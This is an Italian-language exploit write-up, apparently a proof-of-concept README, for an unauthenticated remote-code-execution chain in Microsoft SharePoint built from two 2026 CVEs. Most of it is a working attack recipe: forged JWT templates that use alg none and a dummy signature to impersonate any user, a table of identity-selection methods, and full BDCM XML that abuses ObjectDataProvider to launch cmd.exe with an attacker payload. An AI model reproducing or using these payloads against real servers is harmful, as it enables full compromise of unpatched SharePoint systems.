
Catena di exploit per RCE non autenticata su Microsoft SharePoint, che combina un bypass dell'autenticazione JWT con l'istanziazione non sicura di tipi .NET per ottenere l'esecuzione di codice come account di servizio.
RCE non autenticata su Microsoft SharePoint Server. Nessuna credenziale richiesta.
Stephen Fewer (Rapid7) ha dimostrato CVE-2026-55040 al Pwn2Own Berlin 2026. Rapid7 ha poi scoperto CVE-2026-63520 durante ricerche di follow-up, e VulnCheck ha trovato in modo indipendente una catena di gadget alternativa. Insieme, questi due bug consentono l'esecuzione remota di codice non autenticata contro qualsiasi SharePoint non patchato su internet.
CISA ha emesso avvisi entro poche ore dalla pubblicazione del PoC. È in fase di sfruttamento attivo in natura.
Due bug, una catena:
| CVE | Tipo | CVSS | Cosa compromette |
|---|---|---|---|
| CVE-2026-55040 | Bypass dell'autenticazione JWT | 9.1 | La validazione del token S2S di SharePoint presenta quattro debolezze indipendenti. Combinale e forgi un JWT valido per qualsiasi utente - inclusi gli amministratori del sito - senza conoscerne la password. |
| CVE-2026-63520 | Istanziazione non sicura di tipi .NET → RCE | 8.1 | Business Data Connectivity (BDC) risolve nomi di tipi .NET arbitrari da XML caricato senza alcuna allowlist. Puntalo a ObjectDataProvider e ottieni Process.Start(). |
Nessuno dei due bug è interessante da solo. CVE-2026-63520 richiede autenticazione. CVE-2026-55040 ti fornisce l'autenticazione. Insieme: RCE non autenticata come account di servizio SharePoint.
SharePoint utilizza JWT annidati per l'autenticazione server-to-server (S2S). Un token esterno trasporta l'identità dell'utente, un "actor token" interno rappresenta l'applicazione chiamante. Quattro debolezze in SPJsonWebSecurityTokenHandlerV2.ValidateToken() fanno crollare l'intero sistema:
Debolezza 1 - La verifica della firma è disattivata. Il validatore imposta RequireSignedTokens = false. Il token esterno accetta alg: none. Nessuna firma necessaria.
Debolezza 2 - Risoluzione di x5t senza verifica. La chiave di firma dell'actor token viene risolta cercando l'intestazione x5t (impronta del certificato) nell'archivio certificati. SharePoint non verifica mai se la firma dell'actor token corrisponde effettivamente a quella chiave.
Debolezza 3 - La validazione dell'emittente accetta certificati sconosciuti. ValidateIssuer() passa se il certificato di firma non è nella raccolta TrustedSecurityTokenServices. Il certificato STS di SharePoint non è registrato lì. Quindi, facendovi riferimento tramite x5t, la validazione dell'emittente passa incondizionatamente.
Debolezza 4 - Controllo della firma non crittografico. GetTokenSignature() richiede una stringa non vuota ma non esegue alcuna validazione crittografica. Qualsiasi valore funziona. AAAA funziona.
Il certificato STS è pubblico. Lo recuperi da /_layouts/15/metadata/json/1 - un endpoint non autenticato - calcoli l'impronta SHA-1, e hai tutto ciò che ti serve.
Token esterno (trasporta l'identità dell'utente):
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID o UPN di destinazione>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interno>"
}
// Firma: vuota (alg:none)
Actor token interno (rappresenta l'"applicazione"):
// Header
{"alg": "RS256", "typ": "JWT", "x5t": "<impronta certificato STS>"}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Firma: "AAAA" (letteralmente qualsiasi cosa non vuota)
Tre modi per scegliere un'identità:
| Modalità | nameid | nii | Cosa ti serve |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID di dominio (tramite sessione SMB nulla) + brute su RID |
| UPN | upn_bypass + claim upn | urn:office:idp:activedirectory | Un UPN valido (es. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Nulla. Accesso limitato ma sufficiente per alcune catene. |
Il servizio Business Data Connectivity di SharePoint consente agli amministratori di definire origini dati esterne tramite file XML di modelli BDC (.bdcm). Questi modelli specificano tipi .NET che BDC istanzia a runtime.
Il problema è in DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // qualsiasi tipo nel GAC
I nomi di tipo sotto i 15 caratteri passano attraverso un resolver sicuro. Qualsiasi cosa più lunga chiama direttamente Type.GetType() - che risolve qualsiasi nome di tipo qualificato da assembly dalla Global Assembly Cache. Nessuna allowlist. Nessuna blocklist. L'attaccante controlla abstractTypeName tramite l'XML BDCM.
Usiamo System.Windows.Data.ObjectDataProvider da PresentationFramework. Quando imposti la sua proprietà ObjectInstance, invoca MethodName su quell'istanza. Imposta MethodName = "Start" e ObjectInstance = System.Diagnostics.Process con uno StartInfo modificato, e la riflessione dei setter di proprietà di BDC fa il resto:
ObjectDataProvider creato
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ il setter di proprietà attiva QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
L'XML BDCM che trasporta tutto questo:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck ha documentato una catena alternativa che utilizza System.Web.UI.LosFormatter con deserializzazione TypeConfuseDelegate tramite un LobSystem DotNetAssembly. Più gadget funzionano - la primitiva sottostante è l'istanziazione illimitata di tipi.